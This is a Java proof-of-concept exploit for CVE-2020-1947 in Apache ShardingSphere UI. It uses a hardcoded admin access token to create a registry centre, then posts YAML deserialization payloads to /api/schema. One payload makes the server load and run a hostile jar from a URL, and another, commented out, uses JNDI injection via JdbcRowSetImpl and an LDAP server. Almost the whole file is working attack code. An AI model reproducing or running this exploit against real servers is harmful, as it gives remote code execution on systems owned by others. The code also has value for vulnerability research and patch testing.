package com.threedr3am.bug.shardingsphere.ui;

import com.threedr3am.bug.common.server.LdapServer;
import java.io.UnsupportedEncodingException;
import java.util.Random;
import java.util.concurrent.Executors;
import org.apache.http.HttpEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.impl.client.HttpClients;


/**
 * @author threedr3am
 */
public class Poc {

  public static void main(String[] args) throws UnsupportedEncodingException, InterruptedException {
    String target = "http://localhost:8088";
    String accessToken = "eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0LDg1LDg2LDg3LDg4LDg5LDkwLDk3LDk4LDk5LDEwMCwxMDEsMTAyLDEwMywxMDQsMTA1LDEwNiwxMDcsMTA4LDEwOSwxMTAsMTExLDExMiwxMTMsMTE0LDExNSwxMTYsMTE3LDExOCwxMTksMTIwLDEyMSwxMjIsNDgsNDksNTAsNTEsNTIsNTMsNTQsNTUsNTYsNTcsNDMsNDddLCJkZWNvZGVUYWJsZSI6Wy0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDYyLC0xLDYyLC0xLDYzLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDAsMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsLTEsLTEsLTEsLTEsNjMsLTEsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYsMzcsMzgsMzksNDAsNDEsNDIsNDMsNDQsNDUsNDYsNDcsNDgsNDksNTAsNTFdLCJkZWNvZGVTaXplIjozLCJlbmNvZGVTaXplIjo0LCJQQUQiOjYxLCJwYWQiOjYxLCJ1bmVuY29kZWRCbG9ja1NpemUiOjMsImVuY29kZWRCbG9ja1NpemUiOjQsImxpbmVMZW5ndGgiOjAsImNodW5rU2VwYXJhdG9yTGVuZ3RoIjoyfSwiZ3NvbiI6eyJjYWxscyI6eyJ0aHJlYWRMb2NhbEhhc2hDb2RlIjoxMzk4MDMyNzAxfSwidHlwZVRva2VuQ2FjaGUiOnsiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuRGF0ZVR5cGVBZGFwdGVyJDEiOnt9LCJjb20uZ29vZ2xlLmdzb24uTG9uZ1NlcmlhbGl6YXRpb25Qb2xpY3kiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzAiOnt9LCJkb3VibGUiOnt9LCJjb20uZ29vZ2xlLmdzb24uSW5zdGFuY2VDcmVhdG9yXHUwMDNjP1x1MDAzZSI6e30sImJvb2xlYW4iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuQ29uc3RydWN0b3JDb25zdHJ1Y3RvciI6e30sImphdmEubGFuZy5yZWZsZWN0LlR5cGUiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5NYXBUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJpbnQiOnt9LCJqYXZhLmxhbmcuSW50ZWdlciI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlNxbERhdGVUeXBlQWRhcHRlciQxIjp7fSwib3JnLmFwYWNoZS5jb21tb25zLmNvZGVjLmJpbmFyeS5CYXNlNjQiOnt9LCJqYXZhLmxhbmcuVGhyZWFkTG9jYWxcdTAwM2NqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLkdzb24kRnV0dXJlVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlXHUwMDNlIjp7fSwiamF2YS51dGlsLk1hcFx1MDAzY2phdmEubGFuZy5yZWZsZWN0LlR5cGUsIGNvbS5nb29nbGUuZ3Nvbi5JbnN0YW5jZUNyZWF0b3JcdTAwM2M/XHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQXJyYXlUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLkNsYXNzXHUwMDNjP1x1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLk9iamVjdFR5cGVBZGFwdGVyJDEiOnt9LCJqYXZhLnV0aWwuTGlzdFx1MDAzY2NvbS5nb29nbGUuZ3Nvbi5UeXBlQWRhcHRlckZhY3RvcnlcdTAwM2UiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzMiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzQiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5SZWZsZWN0aXZlVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDM1Ijp7fSwiY29tLmdvb2dsZS5nc29uLkxvbmdTZXJpYWxpemF0aW9uUG9saWN5JDEiOnt9LCJqYXZhLmxhbmcuQnl0ZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5GaWVsZE5hbWluZ1N0cmF0ZWd5Ijp7fSwiamF2YS5sYW5nLkRvdWJsZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5yZWZsZWN0LlR5cGVUb2tlblx1MDAzYz9cdTAwM2UiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzIiOnt9LCJvcmcuYXBhY2hlLnNoYXJkaW5nc3BoZXJlLnVpLnNlY3VyaXR5LlVzZXJBdXRoZW50aWNhdGlvblNlcnZpY2UiOnt9LCJjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fSwiamF2YS51dGlsLkxpc3RcdTAwM2Njb20uZ29vZ2xlLmdzb24uRXhjbHVzaW9uU3RyYXRlZ3lcdTAwM2UiOnt9LCJjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuSnNvbkFkYXB0ZXJBbm5vdGF0aW9uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVGltZVR5cGVBZGFwdGVyJDEiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMjYiOnt9LCJieXRlIjp7fSwiYnl0ZVtdIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUmVmbGVjdGlvbkFjY2Vzc29yIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQ29sbGVjdGlvblR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImphdmEubGFuZy5TdHJpbmciOnt9LCJjb20uZ29vZ2xlLmdzb24uRmllbGROYW1pbmdQb2xpY3kkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5Hc29uIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUHJlSmF2YTlSZWZsZWN0aW9uQWNjZXNzb3IiOnt9LCJqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyXHUwMDNjP1x1MDAzZVx1MDAzZSI6e30sImphdmEubGFuZy5Cb29sZWFuIjp7fSwiY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLkV4Y2x1ZGVyIjp7fX0sImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiZmFjdG9yaWVzIjpbbnVsbCxudWxsLHsidmVyc2lvbiI6LTEuMCwibW9kaWZpZXJzIjoxMzYsInNlcmlhbGl6ZUlubmVyQ2xhc3NlcyI6dHJ1ZSwicmVxdWlyZUV4cG9zZSI6ZmFsc2UsInNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXSwiZGVzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W119LG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0seyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319LCJjb21wbGV4TWFwS2V5U2VyaWFsaXphdGlvbiI6ZmFsc2V9LHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0sbnVsbCx7ImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImZpZWxkTmFtaW5nUG9saWN5IjoiSURFTlRJVFkiLCJleGNsdWRlciI6eyJ2ZXJzaW9uIjotMS4wLCJtb2RpZmllcnMiOjEzNiwic2VyaWFsaXplSW5uZXJDbGFzc2VzIjp0cnVlLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19";
    String zookeeperURL = "127.0.0.1:2181";

    initData(target, accessToken, zookeeperURL);

    //todo payload-1：恶意jar包 payload，参考 common这个module 的CalcScriptEngineFactory类，以及其SPI注册文件META-INF/services/javax.script.ScriptEngineFactory
    String evilJar = "http://127.0.0.1:80/common-1.0-SNAPSHOT.jar";
    attack(target, accessToken, evilJar);

    //todo payload-2：使用jndi注入 payload
    String evilLdapServer = "ldap://127.0.0.1:43658/Calc";
//    Executors.newSingleThreadExecutor().execute(() -> LdapServer.run());
//    Thread.sleep(3000L);
//    attack2(target, accessToken, evilLdapServer);
  }

  private static void attack(String target, String accessToken, String evilJar)
      throws UnsupportedEncodingException {
    String payload;
    HttpPost httpPost;
    HttpEntity httpEntity;

    //todo 添加scheme，反序列化RCE
    payload = "'111': !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['" + evilJar + "']]]]";
    payload = "{\"name\":\"CVE-2020-1947(" + new Random().nextInt(10000) + ")\",\"ruleConfiguration\":\"name: 111\\nmasterDataSourceName: 222\\nloadBalanceAlgorithmType: 333\\nslaveDataSourceNames: [111,222]\",\"dataSourceConfiguration\":\"" + payload + "\"}";
    httpPost = new HttpPost(target + "/api/schema");
    httpPost.addHeader("Access-Token", accessToken);
    httpEntity = new StringEntity(payload, "application/json", "utf-8");
    httpPost.setEntity(httpEntity);
    try {
      HttpClientBuilder httpClientBuilder = HttpClients
          .custom()
          .disableCookieManagement()
          .disableAuthCaching()
          .disableRedirectHandling()
          ;
      CloseableHttpClient httpClient = null;
      CloseableHttpResponse response = null;
      try {
        httpClient = httpClientBuilder.build();
        response = httpClient.execute(httpPost);
      } finally {
        response.close();
        httpClient.close();
      }
    } catch (Exception e) {
      e.printStackTrace();
    }
  }

  private static void attack2(String target, String accessToken, String evilLdapServer)
      throws UnsupportedEncodingException {
    String payload;
    HttpPost httpPost;
    HttpEntity httpEntity;

    //todo 添加scheme，反序列化RCE
    payload = "!!com.sun.rowset.JdbcRowSetImpl\\n   dataSourceName: " + evilLdapServer + "\\n   autoCommit: true";
    payload = "{\"name\":\"CVE-2020-1947(" + new Random().nextInt(10000) + ")\",\"ruleConfiguration\":\"name: 111\\nmasterDataSourceName: 222\\nloadBalanceAlgorithmType: 333\\nslaveDataSourceNames: [111,222]\",\"dataSourceConfiguration\":\"" + payload + "\"}";
    httpPost = new HttpPost(target + "/api/schema");
    httpPost.addHeader("Access-Token", accessToken);
    httpEntity = new StringEntity(payload, "application/json", "utf-8");
    httpPost.setEntity(httpEntity);
    try {
      HttpClientBuilder httpClientBuilder = HttpClients
          .custom()
          .disableCookieManagement()
          .disableAuthCaching()
          .disableRedirectHandling()
          ;
      CloseableHttpClient httpClient = null;
      CloseableHttpResponse response = null;
      try {
        httpClient = httpClientBuilder.build();
        response = httpClient.execute(httpPost);
      } finally {
        response.close();
        httpClient.close();
      }
    } catch (Exception e) {
      e.printStackTrace();
    }
  }

  private static void initData(String target, String accessToken, String zookeeperURL)
      throws UnsupportedEncodingException, InterruptedException {
    String name = String.valueOf(new Random().nextInt(10000));
    //todo 创建注册中心
    String payload = "{\"digest\":\"\",\"name\":\"CVE-2020-1947(" + name + ")\",\"namespace\":\"threedr3am\",\"orchestrationName\":\"threedr3am\",\"registryCenterType\":\"Zookeeper\",\"serverLists\":\"" + zookeeperURL + "\"}";
    HttpPost httpPost = new HttpPost(target + "/api/reg-center");
    httpPost.addHeader("Access-Token", accessToken);
    HttpEntity httpEntity = new StringEntity(payload, "application/json", "utf-8");
    httpPost.setEntity(httpEntity);
    try {
      HttpClientBuilder httpClientBuilder = HttpClients
          .custom()
          .disableAuthCaching()
          .disableCookieManagement()
          .disableRedirectHandling()
          ;
      CloseableHttpClient httpClient = null;
      CloseableHttpResponse response = null;
      try {
        httpClient = httpClientBuilder.build();
        response = httpClient.execute(httpPost);
      } finally {
        response.close();
        httpClient.close();
      }
    } catch (Exception e) {
      e.printStackTrace();
    }

    //todo 连接注册中心
    payload = "{\"name\":\"CVE-2020-1947(" + name + ")\"}";
    httpPost = new HttpPost(target + "/api/reg-center/connect");
    httpPost.addHeader("Access-Token", accessToken);
    httpEntity = new StringEntity(payload, "application/json", "utf-8");
    httpPost.setEntity(httpEntity);
    try {
      HttpClientBuilder httpClientBuilder = HttpClients
          .custom()
          .disableAuthCaching()
          .disableCookieManagement()
          .disableRedirectHandling()
          ;
      CloseableHttpClient httpClient = null;
      CloseableHttpResponse response = null;
      try {
        httpClient = httpClientBuilder.build();
        response = httpClient.execute(httpPost);
      } finally {
        response.close();
        httpClient.close();
      }
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}
